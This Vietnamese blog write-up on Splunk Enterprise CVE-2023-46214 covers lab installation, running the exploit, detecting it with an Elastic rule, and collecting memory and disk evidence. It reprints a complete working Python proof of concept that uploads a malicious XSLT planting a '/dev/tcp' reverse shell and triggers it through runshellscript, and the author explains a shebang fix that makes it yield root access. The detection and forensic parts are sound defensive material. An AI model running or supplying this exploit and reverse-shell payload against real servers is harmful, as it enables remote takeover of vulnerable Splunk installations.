🏳️CVE-2023-46214: Attack, Detect and Forensic

Mở Bài

Thân bài

Splunk Enterprise là gì?

Trong thế giới đầy log và dữ liệu lớn Splunk không chỉ là một phần mềm, mà là một cây cầu kết nối giữa các ứng dụng, hệ thống và thiết bị hạ tầng mạng. Splunk không chỉ tìm kiếm và giám sát, mà còn là công cụ để có thể săn tìm những mối đe dọa đối với tổ chức.

Với khả năng linh hoạt, Splunk có thể cân nhiều loại dữ liệu khác nhau như Syslog, CSV, Apache-log, Access_combined… điều này khiến nó trở thành công cụ mạnh mẽ. Splunk được xây dựng trên nền tảng Lucene và MongoDB khiến splunk có thể phiêu lưu trong thế giới phức tạp của log và thông tin mạng.

Là một SOC Analyst, mình đã làm quen với Splunk từ khi bước chân vào con đường làm về Giám sát bảo mật hệ thống. Công việc của mình hằng ngày có thể coi như hầu hết là làm việc với Splunk để có thể giám sát hệ thống, và phát hiện các cảnh báo bảo mật.

Cài đặt và triển khai Splunk.

Để cài đặt Splunk, mình sử dụng môi trường Ubuntu Linux 20.04

Các bạn có thể download Splunk tại tranghttps://www.splunk.com. Sau 7749 bước đăng kí và nhập thông tin thì mình có đường link download. Ở đây mình sử dụng Splunk version 9.0.5 để thực hiện chạy CVE.

Sau khi download thành công, mình tiến hành cài đặt package qua lệnh apt install. Splunk sẽ được cài đặt vào thư mục mặc định là /opt/splunk.

Chạy lệnh /opt/splunk/bin/splunk start—accept-license để chấp nhận license

Sau khi enter ‘y’ để xác nhận thì Splunk sẽ cho ta tạo credentials cho admin account.

Okey mọi thứ đã xong. Start splunk và access vào web interface thôi.

CVE-2023-46214

Ở phần này, mình chỉ tập trung chủ yếu vào tìm hiểu sơ về cách mà CVE này khai thác và tận dụng lỗ hổng để RCE vào hệ thống và chạy POC.

Các version Splunk bị ảnh hưởng bởi CVE này là dưới 9.0.7 và 9.1.2.

Lỗ hổng này attack khai thác từ việc tải file malicious XSLT lên Splunk Enterprise có thể dẫn tới việc remote code execution (RCE).

Mình tìm hiểu về CVE-2023-46214 thông qua blogs này Analysis of CVE-2023-46214 + PoC (hrncirik.net), và xem PoC này làm những gì:

#!/usr/bin/env python3

import argparse
import requests
import json

# proxies = {"http": "<http://127.0.0.1:8080>", "https": "<http://127.0.0.1:8080>"}
proxies = {}

def generate_malicious_xsl(ip, port):
    return f"""<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>" xmlns:exsl="<http://exslt.org/common>" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">
        <xsl:text>sh -i &gt;&amp; /dev/tcp/{ip}/{port} 0&gt;&amp;1</xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>
"""

def login(session, url, username, password):
    login_url = f"{url}/en-US/account/login?return_to=%2Fen-US%2Faccount%2F"
    response = session.get(login_url, proxies=proxies)
    cval_value = session.cookies.get("cval", None)

    if not cval_value:
        return False

    auth_payload = {
        "cval": cval_value,
        "username": username,
        "password": password,
        "set_has_logged_in": "false",
    }

    auth_url = f"{url}/en-US/account/login"
    response = session.post(auth_url, data=auth_payload, proxies=proxies)
    return response.status_code == 200

def get_cookie(session, url):
    response = session.get(url, proxies=proxies)
    return response.status_code == 200

def upload_file(session, url, file_content, csrf_token):
    files = {'spl-file': ('shell.xsl', file_content, 'application/xslt+xml')}
    upload_headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
        "X-Requested-With": "XMLHttpRequest",
        "X-Splunk-Form-Key": csrf_token,
    }

    upload_url = f"{url}/en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl"
    response = session.post(upload_url, files=files, headers=upload_headers, verify=False, proxies=proxies)

    try:
        text_value = json.loads(response.text)['messages'][0]['text']
        if "concatenate" in text_value:
            return False, None
        return True, text_value
    except (json.JSONDecodeError, KeyError, IndexError):
        return False, None

def get_job_search_id(session, url, username, csrf_token):
    jsid_data = {'search': f'|search test|head 1'}
    jsid_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs?output_mode=json"
    upload_headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "X-Requested-With": "XMLHttpRequest",
        "X-Splunk-Form-Key": csrf_token,
    }
    response = session.post(jsid_url, data=jsid_data, headers=upload_headers, verify=False, proxies=proxies)
    try:
        jsid = json.loads(response.text)['sid']
        return True, jsid
    except (json.JSONDecodeError, KeyError, IndexError):
        return False, None

def trigger_xslt_transform(session, url, jsid, text_value):
    xslt_headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "X-Splunk-Module": "Splunk.Module.DispatchingModule",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "X-Requested-With": "XMLHttpRequest",
    }
    exploit_endpoint = f"{url}/en-US/api/search/jobs/{jsid}/results?xsl=/opt/splunk/var/run/splunk/dispatch/{text_value}/shell.xsl"
    response = session.get(exploit_endpoint, verify=False, headers=xslt_headers, proxies=proxies)
    return response.status_code == 200

def trigger_reverse_shell(session, url, username, jsid, csrf_token):
    runshellscript_data = {'search': f'|runshellscript "shell.sh" "" "" "" "" "" "" "" "{jsid}" ""'}
    runshellscript_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs"
    upload_headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "X-Requested-With": "XMLHttpRequest",
        "X-Splunk-Form-Key": csrf_token,
    }
    response = session.post(runshellscript_url, data=runshellscript_data, headers=upload_headers, verify=False, proxies=proxies)
    return response.status_code == 201

def main():
    parser = argparse.ArgumentParser(description='Splunk CVE-2023-46214 RCE PoC')
    parser.add_argument('--url', required=True, help='Splunk instance URL')
    parser.add_argument('--username', required=True, help='Splunk username')
    parser.add_argument('--password', required=True, help='Splunk password')
    parser.add_argument('--ip', required=True, help='Reverse Shell IP')
    parser.add_argument('--port', required=True, help='Reverse Shell Port')

    args = parser.parse_args()

    session = requests.Session()

    print("[!] CVE: CVE-2023-46214")
    print("[!] Github: <https://github.com/nathan31337/Splunk-RCE-poc>")

    if not login(session, args.url, args.username, args.password):
        print("[-] Authentication failed")
        exit()

    print("[+] Authentication successful")

    print("[*] Grabbing CSRF token", end="\\r")
    if not get_cookie(session, f"{args.url}/en-US"):
        print("[-] Failed to obtain CSRF token")
        exit()

    print("[+] CSRF token obtained")

    csrf_token = session.cookies.get("splunkweb_csrf_token_8000", None)

    malicious_xsl = generate_malicious_xsl(args.ip, args.port)
    uploaded, text_value = upload_file(session, args.url, malicious_xsl, csrf_token)

    if not uploaded:
        print("[-] File upload failed")
        exit()

    print("[+] Malicious XSL file uploaded successfully")

    jsid_created, jsid = get_job_search_id(session, args.url, args.username, csrf_token)

    if not jsid_created:
        print("[-] Creating job failed")
        exit()

    print("[+] Job search ID obtained")

    print("[*] Grabbing new CSRF token", end="\\r")
    if not get_cookie(session, f"{args.url}/en-US"):
        print("[-] Failed to obtain CSRF token")
        exit()

    print("[+] New CSRF token obtained")

    if not trigger_xslt_transform(session, args.url, jsid, text_value):
        print("[-] XSLT Transform failed")
        exit()

    print("[+] Successfully wrote reverse shell to disk")
    if not trigger_reverse_shell(session, args.url, args.username, jsid, csrf_token):
        print("[-] Failed to execute reverse shell")
        exit()

    print("[+] Reverse shell executed! Got shell?")

if __name__ == "__main__":
    main()

Đi sơ về phân tích code 1 chút, đầu tiên là hàm generate_malicious_xsl()

Hàm này tạo ra một đoạn mã XSL có chức năng gửi một yêu cầu reverse shell đến máy attacker và lưu vào file shell.sh ở path /opt/splunk/bin/scripts/.

Hàm login()

Hàm này đơn giản chỉ là đăng nhập vào trang Splunk sử username với password được truyền vào.

Tiếp theo là hàm upload_file()

Đoạn này thực hiện việc up file revershell shell.xsl đã tạo lên server ở path /en-US/splunkd/__upload/indexing/preview và gán nội dung của shell.xsl vào text_value.

Next, get_job_search_id()

Hàm này tóm tắt lại là gửi một yêu cầu POST đến Splunk, phân tích cú pháp phản hồi json trả về từ server, nếu thành công nó sẽ truy cập giá trị sủa sid và gán vào jsid.

trigger_xslt_transform()

Sử dụng một yêu cầu GET để kích hoạt quá trình chuyển đổi XSLT thông qua endpoint /en-US/api/search/jobs/{jsid}/results.

Cuối cùng là hàm trigger_reverse_shell()

Sử dụng một yêu cầu POST để thực hiện lệnh shell script thông qua endpoint /en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs. Command runshellscript là một lệnh tìm kiếm có khả năng chạy lệnh shell trực tiếp từ một tìm kiếm Splunk.

Tóm lại workflow của PoC thực hiện như sau:

  1. Xác thực với user và password để vào hệ thống Splunk

  2. Tạo tệp in XSL

  3. Tải tệp tin XSL lên Splunk

  4. Tạo 1 job search ID để tìm kiếm sid

  5. Chuyển đổi XSLT

  6. Reverse shell

Cài đặt Agent lên server chạy Splunk để lấy logs

Trước khi chạy PoC để RCE server thì mình thực hiện cài agent để lấy logs để phục vụ cho việc Detection.

Mình sử dụng Elastic Cloud để monitor và cài Auditbeat lên server.

  • Download và cài đặt Auditbeat version lên server.

  • Thêm cloud.id và cloud.auth vào /etc/auditbeat/auditbeat.yml để set thông tin kết nối cho Elastic Cloud:

  • Setup Auditbeat

  • Start Auditbeat và check logs xem đã nhận data chưa

sudo service auditbeat start

Okey naiiiii.

Run PoC

  • Download PoC về bằng git clone

Chúng ta cần truyền parameters như Splunk URL, username Splunk, passoword Splunk, IP và Port reverse shell

Vì máy mình đang chạy local nên cần dùng ngrok để tunel tcp ra ngoài

ngrok tcp 444

Tạo một socket để lắng nghe bằng netcat

Trước khi chạy exploit mình thực hiện capture network bằng SSH và Wireshark

Nice, chạy PoC thôi

[+] Authentication successful

[+] CSRF token obtained

[+] Malicious XSL file uploaded successfully

[+] Job search ID obtained

[+] New CSRF token obtained

[+] Successfully wrote reverse shell to disk

[+] Reverse shell executed!

And 1 century later

[+] Got shell??????????? Wtf sao không lên Shell được. Ho li shit :<<<<

Mọi workflow thành công hết rồi mà sao chưa lên shell được nhỉ. Mình tiến hành check lại code và debug 7749 bước

Check xem folder /opt/splunk/bin/scripts/ file shell.sh đã được load lên

Hmmm file shell đã có nhưng tại sao không lên được mà tác giả có thể RCE???

Sau 7749 bước thì mình phát hiện do tác giả k define /bin/bash lên đầu file shell.sh nên khi thực hiện lệnh về shell thì nó bị failed

Mình thêm 2 dòng code vào hàm generate_milicous_xsl()

Define #/bin/bash

<xsl:text>#!/bin/bash</xsl:text> #

**&#xa;**một ký tự xuống dòng (line feed) trong Unicode

<xsl:text>&#xa;</xsl:text>

Okay chạy lại PoC thôi.

Nice =)) Mình đã RCE thành công vào hệ thống với quyền root.

Identification attack

Phát hiện sớm cuộc attack với SIEM system

Đây là logs mà hệ thống ghi được từ cuộc attack. Bắt đầu exploit từ 06:38:07 -> 06:38:37 mất khoảng 30s để exploit vào hệ thống. Logs sinh ra trên hệ thống gồm chạy runshellscript.py và shell.sh qua process bash và python3.7.

Với việc cài đặt rule detection Potential Reverse Shell Activity via Terminal vào hệ thống cảnh báo, khi CVE này được chạy ta có thể phát hiện thông qua việc chạy bash process

process where event.type in ("start", "process_started") and
  process.name in ("sh", "bash", "zsh", "dash", "zmodload") and
  process.args : ("*/dev/tcp/*", "*/dev/udp/*", "*zsh/net/tcp*", "*zsh/net/udp*") and

  /* noisy FPs */
  not (process.parent.name : "timeout" and process.executable : "/var/lib/docker/overlay*") and
  not process.command_line : ("*/dev/tcp/sirh_db/*", "*/dev/tcp/remoteiot.com/*", "*dev/tcp/elk.stag.one/*", "*dev/tcp/kafka/*", "*/dev/tcp/$0/$1*", "*/dev/tcp/127.*", "*/dev/udp/127.*", "*/dev/tcp/localhost/*") and
  not process.parent.command_line : "runc init"

Digital Forensics

Thu thập memory

Để thu thập memory dump, mình viết bash script sử dung LiME để dump và cài đặt các package cần thiết.

Cấp quyền cho script và tiến hành dump.

Mình lưu file memory dump vào thư mục evidence + timestamp dump và có cal hash của file mem để đảm bảo tính toàn vẹn của evidence.

Sử dụng lệnh scp để tải file từ server xuống local để thực hiện forensic.

scp -r root@188.166.234.203:/root/evidence_20231202_091131/ ./

Thu thập Disk image

Mình thực hiện việc sao lưu một phân vùng (/dev/vda1) bằng cách sử dụng dd, nén dữ liệu bằng gzip ghi vào file backup.gz

ssh root@188.166.234.203 "dd if=/dev/vda1 bs=4M | gzip -9 -" | pv -ptebar -s $((25 * 1024 * 1024 * 1024)) | dd of=backup.gz

tobecontinue

Kết bài

Collection

Last updated